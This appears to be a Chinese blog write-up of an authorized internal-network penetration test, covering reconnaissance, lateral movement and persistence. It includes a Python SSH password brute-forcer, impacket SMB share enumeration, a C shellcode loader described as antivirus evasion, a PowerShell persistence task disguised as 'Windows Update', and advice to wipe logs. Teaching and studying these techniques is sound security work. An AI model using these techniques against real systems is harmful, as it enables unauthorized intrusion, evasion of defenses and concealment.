0x01 突破内网的初体验

2019年,我参与了一次企业授权的渗透测试项目。在这次任务中,我们的目标是攻破一家大型企业的内网环境,并模拟真实攻击者如何在内网中横向移动。整场攻防战犹如一场解谜游戏,面对企业复杂的网络架构和层层的安全防护,我们需要步步为营。
我们的起点是一个暴露在互联网的Web应用,通过一处疏忽的SQL注入漏洞,我们成功获取了Web服务器的权限。接下来,我将分享我们如何在企业内网中从一个起点逐步扩展影响力。
传感器的秘密:信息收集
在攻破Web服务器后,首要任务是信息收集。了解环境是横向移动的关键一步。为了收集内网的更多线索,我们可以使用一系列工具和技术,例如:
- Nmap:扫描内网段,识别活动主机和开放端口;
- Netstat:查看当前机器上的网络连接,捕获潜在目标;
- arp -a:列出本地ARP缓存,获取更多网络信息。
通过这些命令,我们迅速绘制出内网的初步拓扑图。接下来,我们将目光锁定于一些重要的内网资产,例如域控制器、文件共享服务器等。
0x02 弱口令与服务滥用的艺术
在内网环境中,弱口令往往是攻防两端的痛点。一旦获取某个用户的凭证,我们就能进一步扩大我们的攻击面。针对这一点,我们使用了一个简单的Python脚本,结合常见的用户账号和密码字典,对内网中的RDP、SMB等服务进行穷举攻击。
<pre><code class="language-python">import paramiko
def check_ssh_credential(ip, username, password): try: client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect(ip, username=username, password=password) stdin, stdout, stderr = client.exec_command('whoami') response = stdout.read().decode() client.close() return response.strip() except Exception as e: return None

试图用常见密码尝试连接到目标机器
ip = '192.168.1.100' username = 'admin' passwords = ['123456', 'password', 'admin'] for pwd in passwords: result = check_ssh_credential(ip, username, pwd) if result: print(f"成功登录!用户: {result},密码: {pwd}")</code></pre>
通过这种方法,我们不仅发现了一些弱密码的账号,还识别出了一些被滥用的服务。配合上升权限的漏洞,我们可以进一步在这些机器上执行命令。
0x03 SMB攻击链的搭建
SMB服务是横向移动中的重要一环。通过之前的信息收集,我们发现了一台Windows机器对SMB服务的错误配置,允许匿名访问。利用这一点,我们可以尝试通过SMB来传播我们的Payload。
为了实现这一点,我们使用了Python编写的SMB客户端库impacket,来枚举共享资源并尝试通过SMB传输文件。
<pre><code class="language-python">from impacket.smbconnection import SMBConnection
def list_shares(ip, username, password): conn = SMBConnection(ip, username, password) conn.login() shares = conn.listShares() for share in shares: print(f"{share['shi1_netname']} - {share['shi1_remark']}") conn.logoff()
枚举目标机器的共享资源
list_shares('192.168.1.101', 'guest', '')</code></pre>
在确认了共享资源后,我们可以利用SMB协议将我们的工具从一台机器传输到另一台机器,并在目标机器上执行。
0x04 渗透工具的免杀技巧
在内网环境中,杀软和EDR是我们绕不过去的一道坎。为了让我们的渗透工具不被拦截,需要进行免杀处理。在这方面,常用的技术包括二进制混淆、加壳、内存加载等。
以下是一个简单的C语言代码示例,展示了如何加载一个Shellcode到目标进程中以规避静态分析。
<pre><code class="language-c">#include <windows.h>
include <stdio.h>
int main() { unsigned char shellcode[] = "这里填入你的Shellcode"; void exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, shellcode, sizeof shellcode); ((void()())exec)(); return 0; }</code></pre>
通过这种手法,我们可以动态地将我们的Payload注入到目标进程中,而不被杀软直接拦截。

0x05 后门与持久化的终极策略
一旦在内网环境中立足,权限维持就变得尤为重要。为了实现在目标网络中的持久化,我们可以安装后门或者植入定制的木马程序。
一种简单的方法是修改系统启动项,确保我们的恶意程序在系统重启后仍然可以上线。以下是一个PowerShell脚本实例,用于在Windows上设置一个计划任务,定期执行我们的后门程序。
<pre><code class="language-powershell">$action = New-ScheduledTaskAction -Execute 'C:\恶意程序.exe' $trigger = New-ScheduledTaskTrigger -AtStartup $principal = New-ScheduledTaskPrincipal -UserId "System" -LogonType ServiceAccount Register-ScheduledTask -Action $action -Trigger $trigger -Principal $principal -TaskName "Windows Update"</code></pre>
通过这种方式,我们可以在目标主机上实现长久的权限维持。
0x06 风险治理与善后处理
尽管此次模拟演练让我们体验到内网渗透的刺激,但同样警醒我们:企业需要更加重视内网安全。加强内网资产的管理和监测,定期更新和打补丁,都是防御外部攻击者的重要手段。
从攻击者的角度出发,痕迹清理是最后一步。确保日志文件不留下攻击痕迹是成功渗透的关键,要做到细致入微。而作为安全从业者,我们也要不断学习和适应攻击技术的发展变化,以便更好地保护我们的网络安全。
这次渗透让我们深刻体会到攻击者的思维模式,希望这篇文章能激励更多的安全研究人员深入探索内网安全,提升整体网络安全水平。